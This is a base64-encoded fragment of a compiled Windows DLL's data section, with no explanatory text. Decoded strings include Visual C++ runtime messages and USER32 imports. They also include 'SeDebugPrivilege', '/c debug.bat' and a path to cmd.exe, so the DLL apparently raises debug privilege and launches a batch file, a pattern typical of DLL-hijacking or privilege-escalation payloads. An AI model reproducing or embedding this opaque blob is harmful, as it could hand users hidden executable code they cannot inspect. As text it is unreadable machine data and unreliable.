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QB0AGkAbwBuAC4AIABJAHQAIABpAHMAIABtAG8AcwB0ACAAbABpAGsAZQBsAHkAIAB0AGgAZQAgAHIAZQBzAHUAbAB0ACAAbwBmACAAYwBhAGwAbABpAG4AZwAgAGEAbgAgAE0AUwBJAEwALQBjAG8AbQBwAGkAbABlAGQAIAAoAC8AYwBsAHIAKQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAcgBvAG0AIABhACAAbgBhAHQAaQB2AGUAIABjAG8AbgBzAHQAcgB1AGMAdABvAHIAIABvAHIAIABmAHIAbwBtACAARABsAGwATQBhAGkAbgAuAA0ACgAAAAAAUgA2ADAAMwAyAA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAGMAYQBsAGUAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAa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AAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAaAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAUABQAEAAQABAAEAAQABQAEAAQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAAAAAAAAAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/0dldFByb2Nlc3NXaW5kb3dTdGF0aW9uAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvblcAAAAAAAAAR2V0TGFzdEFjdGl2ZVBvcHVwAAAAAAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAAAAAABVAFMARQBSADMAMgAuAEQATABMAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAA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